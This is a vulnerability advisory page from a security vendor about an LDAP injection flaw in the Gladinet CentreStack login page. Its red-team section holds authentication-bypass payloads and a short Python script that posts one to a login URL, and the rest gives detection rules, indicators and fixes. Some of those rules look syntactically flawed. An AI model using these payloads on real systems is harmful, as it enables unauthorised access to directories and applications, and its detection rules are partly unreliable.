CVE-2024-37782
Executive Summary
CVE-2024-37782 is an LDAP injection vulnerability discovered in Gladinet CentreStack version 13.12.9934.54690. The flaw resides in the login page, where the username field is not properly sanitized before being used in LDAP queries. An attacker can inject arbitrary LDAP filters by crafting a malicious payload in the username field, potentially leading to unauthorized access to sensitive directory data or execution of arbitrary commands on the LDAP server. No official patch has been released at the time of analysis, and no public exploit code or Nuclei template is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise file sync and share platform (Gladinet CentreStack). Organizations using this software should treat it as a critical supply chain risk due to the lack of a patch.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which likely indicates incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely via the login page.
- Attack Complexity (AC): Low – No special conditions are required; a crafted payload in the username field is sufficient.
- Privileges Required (PR): None – No authentication is needed to reach the vulnerable input.
- User Interaction (UI): None – The attack does not require any user action.
- Scope (S): Unchanged – The vulnerable component and the LDAP server are within the same security authority.
- Confidentiality (C): High – An attacker can read sensitive LDAP directory data.
- Integrity (I): High – An attacker can modify LDAP entries or execute commands.
- Availability (A): High – An attacker could disrupt LDAP services.
Threat Level: Critical. The combination of remote exploitability, no authentication required, and potential for full LDAP compromise makes this a high-priority vulnerability for affected organizations.
Deep Dive & Mechanics
LDAP injection occurs when user-supplied input is incorporated into an LDAP query without proper sanitization. In Gladinet CentreStack, the login page likely constructs an LDAP filter to authenticate users against an LDAP directory (e.g., Active Directory). The filter might look like:
(&(objectClass=user)(sAMAccountName=USERNAME))
If the USERNAME parameter is not sanitized, an attacker can inject LDAP metacharacters such as *, (, ), |, &, !, =, <, >, ~, :, \, and NULL. By injecting a payload like *)(uid=*))(|(uid=*, the attacker can alter the filter logic to bypass authentication or extract data.
For example, a payload in the username field:
*)(uid=*))(|(uid=*
Would transform the filter into:
(&(objectClass=user)(sAMAccountName=*)(uid=*))(|(uid=*))
This filter always evaluates to true, potentially granting access without valid credentials.
More sophisticated payloads can be used to perform blind LDAP injection, extracting data character by character using boolean-based or time-based techniques.
Vulnerable vs. Patched Code
Since no official patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual):
# Vulnerable Python-like pseudocode
def authenticate(username, password):
ldap_filter = f"(&(objectClass=user)(sAMAccountName={username}))"
results = ldap_search(ldap_filter)
# ... authenticate
Patched Code (Expected):
# Patched code using parameterized queries
import ldap3
from ldap3.utils.conv import escape_filter_chars
def authenticate(username, password):
safe_username = escape_filter_chars(username)
ldap_filter = f"(&(objectClass=user)(sAMAccountName={safe_username}))"
results = ldap_search(ldap_filter)
# ... authenticate
The key difference is the use of escape_filter_chars() (or equivalent) to sanitize the username before constructing the LDAP filter. This prevents injection of LDAP metacharacters.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy Gladinet CentreStack v13.12.9934.54690 in a controlled environment.
- Configure it to authenticate against an LDAP server (e.g., OpenLDAP or Active Directory).
- Use a tool like Burp Suite or a simple Python script to intercept and modify login requests.
Exploitation Steps:
- Intercept a login request to the CentreStack login page.
- Modify the
usernameparameter to inject an LDAP filter. Example payload:*)(uid=*))(|(uid=* - Observe that authentication is bypassed, granting access to the application.
- For data extraction, use blind injection techniques. Example payload to test if a user exists:
admin)(&(uid=admin)(userPassword=*)) - Use time-based or boolean-based inference to extract LDAP attributes.
Example Python Exploit Script:
import requests
target = "https://target-centrestack.com/login"
payload = "*)(uid=*))(|(uid=*"
data = {"username": payload, "password": "anything"}
response = requests.post(target, data=data, verify=False)
if "Welcome" in response.text:
print("Authentication bypass successful!")
Blue Team
Detection Steps:
- Monitor LDAP server logs for unusual queries containing injection patterns (e.g., multiple
*,|,&characters). - Implement Web Application Firewall (WAF) rules to block LDAP injection payloads in the username field.
- Use intrusion detection systems (IDS) to alert on LDAP query anomalies.
Honeypot Strategy:
- Deploy a fake LDAP endpoint that logs all queries and triggers alerts on suspicious patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/loginwith username field containing LDAP metacharacters (*,(,),|,&,!,=,<,>,~,:,\,NULL). - LDAP queries containing unusual filter patterns like
(|(uid=*))or(&(objectClass=*)(uid=*)).
- HTTP POST requests to
Log IOCs:
- LDAP server logs showing queries with unexpected filter syntax.
- Application logs showing successful authentication for non-existent users.
File IOCs:
- No specific file-based IOCs; the attack is network-based.
Detection Engineering
YARA Rule
rule LDAP_Injection_Username_Field {
meta:
description = "Detects LDAP injection attempts in HTTP POST username field"
author = "Valters IT"
date = "2024-07-01"
reference = "CVE-2024-37782"
strings:
$ldap_meta1 = "*)(|"
$ldap_meta2 = "*)(&"
$ldap_meta3 = ")(uid="
$ldap_meta4 = ")(cn="
$ldap_meta5 = ")(objectClass="
$ldap_meta6 = "))(|"
$ldap_meta7 = "))(&"
condition:
any of ($ldap_meta*) and
// Look for these patterns in HTTP POST body
for any of ($ldap_meta*) : ( # in body )
}
Sigma Rule
title: LDAP Injection Attempt in HTTP POST Username Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects LDAP injection patterns in HTTP POST requests to login pages
author: Valters IT
date: 2024-07-01
references:
- CVE-2024-37782
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login'
cs-username|contains:
- '*)(|'
- '*)(&'
- ')(uid='
- ')(cn='
- ')(objectClass='
- '))(|'
- '))(&'
condition: selection
falsepositives:
- Legitimate usernames containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-37782 - LDAP Injection Attempt in Username Field";
flow:to_server,established;
content:"POST"; http_method;
content:"/login"; http_uri;
content:"username="; http_client_body;
pcre:"/(\*\)\(|\)\()/";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable LDAP authentication if possible, or switch to a different authentication method (e.g., SAML, OAuth).
- Apply input validation at the application layer: whitelist allowed characters for usernames (e.g., alphanumeric only).
- Use a Web Application Firewall (WAF) with rules to block LDAP injection patterns.
- Monitor LDAP server logs for suspicious queries and set up alerts.
Long-term Fix:
- The vendor (Gladinet) must release a patch that properly sanitizes LDAP filter inputs using parameterized queries or escaping functions (e.g.,
escape_filter_chars()in Python's ldap3 library). - Until a patch is available, consider migrating away from CentreStack or isolating it from untrusted networks.
Workaround:
- Implement a reverse proxy that inspects and sanitizes the username field before forwarding to the application.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.